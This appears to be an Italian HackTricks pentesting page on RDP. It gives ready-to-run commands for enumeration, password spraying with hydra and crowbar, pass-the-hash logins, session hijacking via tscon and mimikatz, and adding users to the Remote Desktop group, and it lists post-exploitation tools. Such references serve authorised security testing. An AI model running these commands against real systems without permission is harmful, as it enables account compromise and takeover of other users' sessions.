131 lines
5.7 KiB
Markdown

# 3389 - Pentesting RDP
{{#include ../banners/hacktricks-training.md}}
## Informazioni di base
Sviluppato da Microsoft, il **Remote Desktop Protocol** (**RDP**) è progettato per abilitare una connessione con interfaccia grafica tra computer su una rete. Per stabilire tale connessione, il software client **RDP** è utilizzato dall'utente, e contemporaneamente, il computer remoto deve eseguire il software server **RDP**. Questa configurazione consente il controllo e l'accesso senza soluzione di continuità all'ambiente desktop di un computer distante, portando essenzialmente la sua interfaccia sul dispositivo locale dell'utente.
**Porta predefinita:** 3389
```
PORT STATE SERVICE
3389/tcp open ms-wbt-server
```
## Enumerazione
### Automatica
```bash
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
```
Controlla la crittografia disponibile e la vulnerabilità DoS (senza causare DoS al servizio) e ottiene informazioni NTLM di Windows (versioni).
### [Brute force](../generic-hacking/brute-force.md#rdp)
**Fai attenzione, potresti bloccare gli account**
### **Password Spraying**
**Fai attenzione, potresti bloccare gli account**
```bash
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
```
### Connettersi con credenziali/hash conosciuti
```bash
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
```
### Controlla le credenziali conosciute contro i servizi RDP
rdp_check.py di impacket ti consente di verificare se alcune credenziali sono valide per un servizio RDP:
```bash
rdp_check <domain>/<name>:<password>@<IP>
```
## **Attacchi**
### Furto di sessione
Con **permessi di SISTEMA** puoi accedere a qualsiasi **sessione RDP aperta da qualsiasi utente** senza bisogno di conoscere la password del proprietario.
**Ottieni sessioni aperte:**
```
query user
```
**Accesso alla sessione selezionata**
```bash
tscon <ID> /dest:<SESSIONNAME>
```
Ora sarai all'interno della sessione RDP selezionata e dovrai impersonare un utente utilizzando solo strumenti e funzionalità di Windows.
**Importante**: Quando accedi a sessioni RDP attive, disconnetterai l'utente che le stava utilizzando.
Potresti ottenere le password dal processo estraendole, ma questo metodo è molto più veloce e ti consente di interagire con i desktop virtuali dell'utente (password in notepad senza essere salvate su disco, altre sessioni RDP aperte su altre macchine...)
#### **Mimikatz**
Puoi anche utilizzare mimikatz per fare questo:
```bash
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
```
### Sticky-keys & Utilman
Combinando questa tecnica con **stickykeys** o **utilman potrai accedere a un CMD amministrativo e a qualsiasi sessione RDP in qualsiasi momento**
Puoi cercare RDP che sono stati backdoorati con una di queste tecniche già con: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
### RDP Process Injection
Se qualcuno di un dominio diverso o con **privilegi migliori accede via RDP** al PC dove **sei un Admin**, puoi **iniettare** il tuo beacon nel suo **processo di sessione RDP** e agire come lui:
{{#ref}}
../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md
{{#endref}}
### Adding User to RDP group
```bash
net localgroup "Remote Desktop Users" UserLoginName /add
```
## Strumenti Automatici
- [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
**AutoRDPwn** è un framework di post-exploitation creato in Powershell, progettato principalmente per automatizzare l'attacco **Shadow** sui computer Microsoft Windows. Questa vulnerabilità (elencata come una funzionalità da Microsoft) consente a un attaccante remoto di **visualizzare il desktop della sua vittima senza il suo consenso**, e persino controllarlo su richiesta, utilizzando strumenti nativi del sistema operativo stesso.
- [**EvilRDP**](https://github.com/skelsec/evilrdp)
- Controlla il mouse e la tastiera in modo automatizzato dalla riga di comando
- Controlla il clipboard in modo automatizzato dalla riga di comando
- Crea un proxy SOCKS dal client che canalizza la comunicazione di rete verso il target tramite RDP
- Esegue comandi SHELL e PowerShell arbitrari sul target senza caricare file
- Carica e scarica file da/al target anche quando i trasferimenti di file sono disabilitati sul target
- [**SharpRDP**](https://github.com/0xthirteen/SharpRDP)
Questo strumento consente di eseguire comandi nel RDP della vittima **senza necessità di un'interfaccia grafica**.
## HackTricks Comandi Automatici
```
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
```
{{#include ../banners/hacktricks-training.md}}